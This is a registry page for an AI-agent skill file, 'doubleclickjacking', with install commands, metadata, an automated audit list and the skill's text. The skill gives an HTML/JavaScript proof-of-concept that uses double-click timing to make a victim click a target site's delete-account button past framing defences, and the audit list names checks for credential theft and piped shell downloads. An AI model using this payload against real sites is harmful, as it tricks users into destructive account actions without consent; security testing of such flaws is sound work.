doubleclickjacking SKILL.md skillB
doubleclickjacking from dreadnode/capabilities is an agent skill: a SKILL.md folder an AI agent loads when a task calls for it.
mdr add dreadnode/capabilities/doubleclickjacking@git:20260504.2a64374Pins git:20260504.2a64374 in mdr.lock. Pin the fingerprint instead.
- Audit grade
- B, 16 of 17 checks passed
- Kind
- SKILL.md skill
- Repository
- dreadnode/capabilities
- Path
capabilities/web-security/skills/doubleclickjacking/SKILL.md- Versions recorded
- 1
- Latest version
- git:20260504.2a64374, committed May 4, 2026
- Size
- 1,766 bytes
- Repository stars
- 22
- License
- MIT
Clickjacking variant bypassing X-Frame-Options, CSP frame-ancestors, and SameSite cookies via double-click timing window. Use when sensitive one-click actions exist but framing is blocked.
Collected from public GitHub. Every version is saved exactly as it was and never changes. Install it at an exact version with the mdr tool, and every file is checked before it reaches your agent. The main file is checked against the SHA-256 fingerprint recorded here, and the others against the fingerprints GitHub keeps for its source commit. The automatic checks below grade the latest version, and the same checks always give the same file the same grade.
What the file says
# DoubleClickjacking
## Pattern
- Target has one-click sensitive actions (OAuth authorize, delete account, change email, grant permissions)
- X-Frame-Options or CSP frame-ancestors blocks traditional iframe clickjacking
- SameSite cookies prevent standard framing attacks
- No additional confirmation step (modal, re-auth, CAPTCHA) on the action
## Probe
PoC structure — no iframe required, bypasses ALL framing defenses:
```html
<button ondblclick="exploit()">Double-click to verify</button>
<script>
function exploit() {
// First click: open target page with sensitive action
var w = window.open('https://target.com/settings/delete-account');
// Between clicks (~100ms): target page loads in new window
// Second click: lands on the sensitive button in target window
// Close attacker page to reveal target underneath
setTimeout(function(){ window.close(); }, 50);
}
</script>
```
Key: exploits the timing gap between mousedown and mouseup in a double-click. First click opens target, second click lands on target's action button. No framing = no XFO/CSP/SameSite protection applies.
## Indicators
- Sensitive action executed without user's informed consent
…Read the whole file at its exact version.
How to install
mdr add dreadnode/capabilities/doubleclickjacking@sha256:a81acfdb780b003dThe line at the top of this page pins the label git:20260504.2a64374, which is what most people want. This one pins the sha256 fingerprint of the contents instead, so it survives a label being moved. Either way the exact version is written to mdr.lock, and mdr install downloads and checks those contents again, so it installs them exactly or stops with an error.
[](https://markdownregistry.com/a/art_rogci7hlghlhmrjk)
3 badge image fetches in 30 days. What the badge shows.
Versions
The registry has recorded 1 version of this file, committed on May 4, 2026.
Audit of the latest version
- fail: No script tag (matched: <script)
- pass: Frontmatter block present
- pass: Frontmatter declares a name
- pass: Frontmatter declares a description
- pass: Size between 200 bytes and 200 KB (1766 bytes)
- pass: No zero-width or bidi control characters
- pass: No instruction hidden inside an HTML comment
- pass: No link to an exfiltration or paste host
- pass: No credential-shaped string
- pass: No instruction to send local credentials anywhere
- pass: No text hidden with inline styles
- pass: No prompt-injection phrasing
- pass: No curl or wget piped into a shell
- pass: No recursive delete of root, home or parent
- pass: No instruction to read or print local credentials
- pass: No base64 blob over 200 characters
- pass: No link to a raw IP address
Starting a new one? Use a template for SKILL.md on mdpantry, which passes every one of these checks and says what to change in it.
Source
dreadnode/capabilities · 22 stars · license MIT · pushed 2026-11-02 · branch main
API
GET https://markdownregistry.com/api/v1/artifacts/art_rogci7hlghlhmrjk GET https://markdownregistry.com/api/v1/resolve?ref=dreadnode/capabilities/doubleclickjacking GET https://markdownregistry.com/api/v1/blob/a81acfdb780b003d9ea07eaa670928c402e56971665a61075f550f529eea002f
Your AI assistant does the legwork. You hear about the deals worth your word. Hand yours the standing instructions at modelranch.com and it joins the network that reads files like this one.
Guides: the SKILL.md format and its required fields · what to check before you install a skill · how to pin a skill to an exact version · where to find agent skills · keeping a team on the same skills · which agent file does what.